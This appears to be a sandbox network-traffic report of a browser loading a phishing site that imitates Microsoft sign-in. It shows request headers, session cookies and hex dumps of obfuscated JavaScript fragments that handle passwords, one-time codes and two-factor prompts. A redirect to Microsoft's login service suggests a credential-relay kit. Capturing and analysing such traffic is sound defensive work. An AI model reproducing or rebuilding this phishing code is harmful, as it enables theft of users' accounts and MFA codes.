2024-04-23 19:54:07 UTC	1283	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: o5u7g.zleu9.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://o5u7g.zleu9.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D Sec-WebSocket-Key: rHvup9pBUQdAXXImR6dzBw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-23 19:54:08 UTC	575	IN	HTTP/1.1 400 Bad Request Date: Tue, 23 Apr 2024 19:54:08 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bn7QvJIbH3CqFAHIZx3Lzz1uQXx97OIV3qoR0n0Zs8pTwBvbJQ%2B2Q3DgQRkPnrMQ36zKE4pUBTbd5YawlPCrjCuC9Ot7azKjRPP6lT9Eb8ekQKpLqsgMRPJW%2FS%2BDVq86bdA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87906757ff4169ed-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 19:54:08 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-23 19:54:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49780	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:07 UTC	1428	OUT	GET /3409ErMmbVIWH6V2dQUQwijgLL2yQXIIAO89104 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
2024-04-23 19:54:08 UTC	661	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:08 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="3409ErMmbVIWH6V2dQUQwijgLL2yQXIIAO89104" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zQckwEFA%2BjKxSKgAOjiAQNPQOva5O8RCl7G4G0xpkctOwuXt0k%2FFJCEu5tN7DwUF%2FLQSxHvHHTy%2FBNzUk%2FlxZZZZV%2BcDWQwPI%2BeWv4N5U%2FK1dFF2UZ4c4iTpNyRsoQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 87906758faf153db-ATL
2024-04-23 19:54:08 UTC	708	IN	Data Raw: 33 37 39 32 0d 0a 63 6f 6e 73 74 20 5f 30 78 33 63 30 62 36 39 3d 5f 30 78 34 30 62 64 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 66 66 61 33 65 2c 5f 30 78 37 34 33 61 34 66 29 7b 63 6f 6e 73 74 20 5f 30 78 31 66 33 38 61 38 3d 5f 30 78 34 30 62 64 2c 5f 30 78 32 64 38 38 62 36 3d 5f 30 78 31 66 66 61 33 65 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 34 36 31 39 34 34 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 66 33 38 61 38 28 30 78 32 30 62 29 29 2f 30 78 31 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 66 33 38 61 38 28 30 78 33 31 39 29 29 2f 30 78 32 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 31 66 33 38 61 38 28 30 78 32 64 30 29 29 2f 30 78 33 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 66 33 38 61 38 28 30 Data Ascii: 3792const _0x3c0b69=_0x40bd;(function(_0x1ffa3e,_0x743a4f){const _0x1f38a8=_0x40bd,_0x2d88b6=_0x1ffa3e();while(!![]){try{const _0x461944=-parseInt(_0x1f38a8(0x20b))/0x1+parseInt(_0x1f38a8(0x319))/0x2*(parseInt(_0x1f38a8(0x2d0))/0x3)+parseInt(_0x1f38a8(0
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 28 30 78 32 66 66 29 5d 28 5f 30 78 33 63 30 62 36 39 28 30 78 33 33 32 29 29 5b 5f 30 78 33 63 30 62 36 39 28 30 78 32 64 66 29 5d 5b 5f 30 78 33 63 30 62 36 39 28 30 78 32 65 31 29 5d 28 5f 30 78 33 63 30 62 36 39 28 30 78 31 65 37 29 29 26 26 28 76 69 65 77 3d 5f 30 78 33 63 30 62 36 39 28 30 78 32 63 38 29 29 3b 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 5f 30 78 33 63 30 62 36 39 28 30 78 32 61 38 29 29 26 26 21 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 63 30 62 36 39 28 30 78 32 66 66 29 5d 28 5f 30 78 33 63 30 62 36 39 28 30 78 32 61 38 29 29 5b 27 63 6c 61 73 73 4c 69 73 74 27 5d 5b 5f 30 78 33 63 30 62 36 39 28 30 78 32 65 31 29 5d 28 5f 30 78 33 63 30 62 36 39 28 30 78 31 65 37 29 29 26 26 28 76 69 65 77 3d 27 Data Ascii: (0x2ff)](_0x3c0b69(0x332))[_0x3c0b69(0x2df)][_0x3c0b69(0x2e1)](_0x3c0b69(0x1e7))&&(view=_0x3c0b69(0x2c8));document['getElementById'](_0x3c0b69(0x2a8))&&!document[_0x3c0b69(0x2ff)](_0x3c0b69(0x2a8))['classList'][_0x3c0b69(0x2e1)](_0x3c0b69(0x1e7))&&(view='
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 28 5f 30 78 32 62 65 33 36 39 28 30 78 32 39 31 29 29 5b 5f 30 78 32 62 65 33 36 39 28 30 78 33 30 31 29 5d 28 29 3b 7d 7d 7d 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 6c 6f 61 64 69 6e 67 61 6e 69 6d 61 74 69 6f 6e 28 5f 30 78 31 63 62 61 63 63 29 7b 63 6f 6e 73 74 20 5f 30 78 31 66 30 32 32 39 3d 5f 30 78 33 63 30 62 36 39 3b 5f 30 78 31 63 62 61 63 63 3d 3d 30 78 30 26 26 28 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 66 30 32 32 39 28 30 78 32 66 66 29 5d 28 5f 30 78 31 66 30 32 32 39 28 30 78 31 66 37 29 2b 76 69 65 77 29 5b 5f 30 78 31 66 30 32 32 39 28 30 78 32 39 32 29 5d 28 5f 30 78 31 66 30 32 32 39 28 30 78 32 35 63 29 29 5b 5f 30 78 31 66 30 32 32 39 28 30 78 32 64 66 29 5d 5b 27 61 64 64 27 5d 28 27 6c 6f 61 64 69 6e 67 27 29 2c 64 6f 63 75 6d 65 6e Data Ascii: (_0x2be369(0x291))[_0x2be369(0x301)]();}}}}});function loadinganimation(_0x1cbacc){const _0x1f0229=_0x3c0b69;_0x1cbacc==0x0&&(document[_0x1f0229(0x2ff)](_0x1f0229(0x1f7)+view)[_0x1f0229(0x292)](_0x1f0229(0x25c))[_0x1f0229(0x2df)]['add']('loading'),documen
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 72 65 6e 74 5c 78 32 30 61 63 63 6f 75 6e 74 27 2c 27 61 6c 74 27 2c 27 5c 78 32 30 3c 61 5c 78 32 30 68 72 65 66 3d 5c 78 32 32 23 5c 78 32 32 5c 78 32 30 64 61 74 61 2d 69 64 3d 5c 78 32 32 27 2c 27 73 65 63 74 69 6f 6e 73 5f 27 2c 27 64 65 73 63 27 2c 27 63 6c 69 63 6b 65 64 27 2c 27 69 41 64 64 69 74 69 6f 6e 61 6c 50 72 6f 6f 66 49 6e 66 6f 27 2c 27 75 72 6c 28 5c 78 32 37 27 2c 27 53 65 6e 64 5c 78 32 30 61 6e 6f 74 68 65 72 5c 78 32 30 72 65 71 75 65 73 74 27 2c 27 73 69 67 6e 49 6e 41 6e 6f 74 68 65 72 57 61 79 27 2c 27 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 27 2c 27 61 75 74 68 63 61 6c 6c 69 6d 67 27 2c 27 2e 69 41 64 64 69 74 69 6f 6e 61 6c 50 72 6f 6f 66 49 6e 66 6f 5c 78 32 30 69 6e 70 75 74 5b 74 79 70 65 3d 5c 78 32 32 72 61 64 69 6f Data Ascii: rent\x20account','alt','\x20<a\x20href=\x22#\x22\x20data-id=\x22','sections_','desc','clicked','iAdditionalProofInfo','url(\x27','Send\x20another\x20request','signInAnotherWay','backgroundImage','authcallimg','.iAdditionalProofInfo\x20input[type=\x22radio
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 74 5c 78 32 30 66 69 6e 64 5c 78 32 30 61 6e 5c 78 32 30 61 63 63 6f 75 6e 74 5c 78 32 30 77 69 74 68 5c 78 32 30 74 68 61 74 5c 78 32 30 75 73 65 72 6e 61 6d 65 2e 5c 78 32 30 54 72 79 5c 78 32 30 61 6e 6f 74 68 65 72 2c 5c 78 32 30 6f 72 5c 78 32 30 67 65 74 5c 78 32 30 61 5c 78 32 30 6e 65 77 5c 78 32 30 4d 69 63 72 6f 73 6f 66 74 5c 78 32 30 61 63 63 6f 75 6e 74 2e 27 2c 27 72 65 64 69 72 65 63 74 65 64 5c 78 32 30 62 61 63 6b 5c 78 32 30 74 6f 5c 78 32 30 73 69 67 6e 5c 78 32 30 69 6e 27 2c 27 6b 65 79 75 70 27 2c 27 6f 74 70 5c 78 32 30 73 65 6e 74 27 2c 27 73 65 63 74 69 6f 6e 5f 32 66 61 27 2c 27 73 69 67 6e 75 70 27 2c 27 79 6f 75 5c 78 32 30 64 6f 6e 74 5c 78 32 30 68 61 76 65 5c 78 32 30 61 63 63 65 73 73 27 2c 27 2e 74 69 74 6c 65 27 2c 27 74 Data Ascii: t\x20find\x20an\x20account\x20with\x20that\x20username.\x20Try\x20another,\x20or\x20get\x20a\x20new\x20Microsoft\x20account.','redirected\x20back\x20to\x20sign\x20in','keyup','otp\x20sent','section_2fa','signup','you\x20dont\x20have\x20access','.title','t
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 27 2c 27 62 75 74 74 6f 6e 2e 73 68 6f 77 2d 68 69 64 65 2d 62 74 6e 27 2c 27 73 63 72 69 70 74 5b 73 72 63 5e 3d 5c 78 32 32 27 2c 27 70 6f 73 69 74 69 6f 6e 27 2c 27 70 6f 70 27 2c 27 73 65 63 74 69 6f 6e 5f 75 6e 61 6d 65 27 2c 27 4e 65 78 74 27 2c 27 69 45 6e 74 65 72 50 72 6f 6f 66 44 65 73 63 27 2c 27 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 27 2c 27 68 74 74 70 73 3a 2f 2f 68 74 74 70 62 69 6e 2e 6f 72 67 2f 69 70 27 2c 27 61 75 74 68 63 61 6c 6c 27 2c 27 3c 73 70 61 6e 3e 53 6f 72 72 79 2c 5c 78 32 30 77 65 5c 78 32 37 72 65 5c 78 32 30 68 61 76 69 6e 67 5c 78 32 30 74 72 6f 75 62 6c 65 5c 78 32 30 76 65 72 69 66 79 69 6e 67 5c 78 32 30 79 6f 75 72 5c 78 32 30 61 63 63 6f 75 6e 74 2e 5c 78 32 30 50 6c 65 61 73 65 5c 78 32 30 74 72 79 Data Ascii: ','button.show-hide-btn','script[src^=\x22','position','pop','section_uname','Next','iEnterProofDesc','.loading-container','https://httpbin.org/ip','authcall','<span>Sorry,\x20we\x27re\x20having\x20trouble\x20verifying\x20your\x20account.\x20Please\x20try
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 5c 78 32 32 5c 78 32 30 61 72 69 61 2d 72 65 71 75 69 72 65 64 3d 5c 78 32 32 74 72 75 65 5c 78 32 32 5c 78 32 30 61 72 69 61 2d 6c 61 62 65 6c 3d 5c 78 32 32 45 6d 61 69 6c 5c 78 32 30 6e 61 6d 65 5c 78 32 32 5c 78 32 30 61 72 69 61 2d 64 65 73 63 72 69 62 65 64 62 79 3d 5c 78 32 32 69 50 72 6f 6f 66 49 6e 70 75 74 45 72 72 6f 72 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 6c 61 62 65 6c 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 5c 78 32 30 6e 6f 4c 65 66 74 42 6f 72 64 65 72 5c 78 32 30 6f 75 74 6c 6f 6f 6b 45 6d 61 69 6c 4c 61 62 65 6c 5c 78 32 32 5c 78 32 30 69 64 3d 5c 78 32 32 69 43 6f 6e 66 69 72 6d 50 72 6f 6f 66 45 Data Ascii: \x22\x20aria-required=\x22true\x22\x20aria-label=\x22Email\x20name\x22\x20aria-describedby=\x22iProofInputError\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<label\x20class=\x22input-group-addon\x20noLeftBorder\x20outlookEmailLabel\x22\x20id=\x22iConfirmProofE
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 27 69 6e 70 5f 63 6f 6e 66 69 72 6d 65 6d 61 69 6c 27 2c 27 53 69 67 6e 5c 78 32 30 69 6e 5c 78 32 30 61 6e 6f 74 68 65 72 5c 78 32 30 77 61 79 27 2c 27 62 6f 64 79 27 2c 27 6c 69 6e 6b 6f 70 74 69 6f 6e 63 6c 69 63 6b 28 74 68 69 73 29 27 2c 27 6d 75 6c 74 69 70 6c 65 61 63 63 6f 75 6e 74 6f 70 74 69 6f 6e 73 27 2c 27 32 66 61 5c 78 32 30 69 73 5c 78 32 30 6f 6e 27 2c 27 65 6d 61 69 6c 27 2c 27 74 65 6c 27 2c 27 70 61 73 73 77 6f 72 64 27 2c 27 72 61 64 69 6f 27 2c 27 62 74 6e 5f 6e 65 78 74 27 2c 27 63 6f 72 72 65 63 74 5c 78 32 30 65 6d 61 69 6c 27 2c 27 23 62 74 6e 5f 76 65 72 69 66 79 6f 74 70 27 2c 27 71 75 65 72 79 53 65 6c 65 63 74 6f 72 27 2c 27 69 50 72 6f 6f 66 50 68 6f 6e 65 45 6e 74 72 79 27 2c 27 69 63 6c 6f 75 64 2e 63 6f 6d 27 2c 27 73 65 Data Ascii: 'inp_confirmemail','Sign\x20in\x20another\x20way','body','linkoptionclick(this)','multipleaccountoptions','2fa\x20is\x20on','email','tel','password','radio','btn_next','correct\x20email','#btn_verifyotp','querySelector','iProofPhoneEntry','icloud.com','se
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 65 6c 65 63 74 70 72 6f 74 65 63 74 6f 70 74 69 6f 6e 28 74 68 69 73 29 27 2c 27 3c 70 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 6d 62 2d 31 36 5c 78 32 32 3e 27 2c 27 62 6c 61 6e 6b 27 2c 27 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 74 65 78 74 2d 62 6c 6f 63 6b 2d 62 6f 64 79 5c 78 32 32 5c 78 32 30 69 64 3d 5c 78 32 32 69 45 6e 74 65 72 50 72 6f 6f 66 44 65 73 63 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 54 6f 5c 78 32 30 76 65 72 69 66 79 5c 78 32 30 74 68 61 74 5c 78 32 30 74 68 69 73 5c 78 32 30 69 73 5c 78 32 30 79 6f 75 72 5c 78 32 30 70 68 6f 6e 65 5c 78 32 30 6e 75 6d 62 Data Ascii: electprotectoption(this)','<p\x20class=\x22mb-16\x22>','blank','\x0a\x20\x20\x20\x20\x20\x20<div\x20class=\x22text-block-body\x22\x20id=\x22iEnterProofDesc\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20To\x20verify\x20that\x20this\x20is\x20your\x20phone\x20numb
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 27 70 61 72 73 65 27 2c 27 69 50 72 6f 6f 66 49 6e 70 75 74 45 72 72 6f 72 27 2c 27 2c 5c 78 32 30 61 6e 64 5c 78 32 30 74 68 65 6e 5c 78 32 30 63 6c 69 63 6b 5c 78 32 30 5c 78 32 32 53 65 6e 64 5c 78 32 30 63 6f 64 65 5c 78 32 32 5c 78 32 30 74 6f 5c 78 32 30 72 65 63 65 69 76 65 5c 78 32 30 79 6f 75 72 5c 78 32 30 63 6f 64 65 2e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 72 6f 6c 65 3d 5c 78 32 32 61 6c 65 72 74 5c 78 32 32 5c 78 32 30 61 72 69 61 2d 6c 69 76 65 3d 5c 78 32 32 61 73 73 65 72 74 69 76 65 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 Data Ascii: 'parse','iProofInputError',',\x20and\x20then\x20click\x20\x22Send\x20code\x22\x20to\x20receive\x20your\x20code.\x0a\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20<div\x20role=\x22alert\x22\x20aria-live=\x22assertive\x22>\x0a\x20\x20\x20\x20\x20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49781	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:08 UTC	1585	OUT	POST /ioA9WkaHpGHbSxWyGOmyjZ4CeUqai9zYvvo9IvKLdFjDvXel HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive Content-Length: 31 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://o5u7g.zleu9.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
2024-04-23 19:54:08 UTC	31	OUT	Data Raw: 70 61 67 65 6c 69 6e 6b 3d 67 75 6e 6c 59 32 26 74 79 70 65 3d 34 26 61 70 70 6e 75 6d 3d 31 Data Ascii: pagelink=gunlY2&type=4&appnum=1
2024-04-23 19:54:08 UTC	995	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:08 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jnCjxLHj5USXfkqu8yVpQrKYNzs4uSLUVnDhy1SvrH0ZzFJXTz8x%2BQkPOcRmpphx2Eemz6rUVoca9QXBndbcy%2FgB3BXIaehcjaKnG5QfRetjaS2bD1vvleUSKkJIeQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; expires=Tue, 23-Apr-2024 21:54:08 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-23 19:54:08 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 5a 32 62 57 74 50 4e 33 70 52 4e 48 64 51 59 31 52 4e 4d 45 4a 44 4d 44 52 68 59 57 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4e 32 70 6c 5a 56 4a 58 4b 7a 5a 4d 4c 33 52 33 4c 33 6c 6c 54 6d 34 7a 64 56 46 49 5a 30 67 31 52 31 46 56 57 47 6c 36 61 6c 68 59 4e 30 49 33 4f 48 4e 6f 52 32 78 44 64 30 5a 5a 5a 55 30 7a 4e 6c 52 6c 55 30 52 52 55 48 52 54 56 55 59 35 56 45 68 70 5a 57 39 51 63 6e 4a 51 55 6a 64 4c 4d 43 39 45 57 53 74 6d 4e 6b 5a 44 61 32 4a 46 64 57 56 75 5a 79 39 45 64 79 38 30 5a 47 6c 50 62 55 5a 74 65 44 4a 6c 4e 30 38 31 57 56 6c 52 5a 31 63 76 4c 7a 4e 61 61 6b 68 32 59 69 38 79 62 45 4a 4e 4f 54 4e 34 57 44 6b Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDk
2024-04-23 19:54:08 UTC	97	IN	Data Raw: 35 62 0d 0a 7b 22 65 78 70 69 72 65 64 22 3a 30 2c 22 72 65 64 69 72 65 63 74 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 5c 2f 63 6f 6d 6d 6f 6e 5c 2f 53 41 53 5c 2f 50 72 6f 63 65 73 73 41 75 74 68 22 7d 0d 0a Data Ascii: 5b{"expired":0,"redirecturl":"https:\/\/login.microsoftonline.com\/common\/SAS\/ProcessAuth"}
2024-04-23 19:54:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49782	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
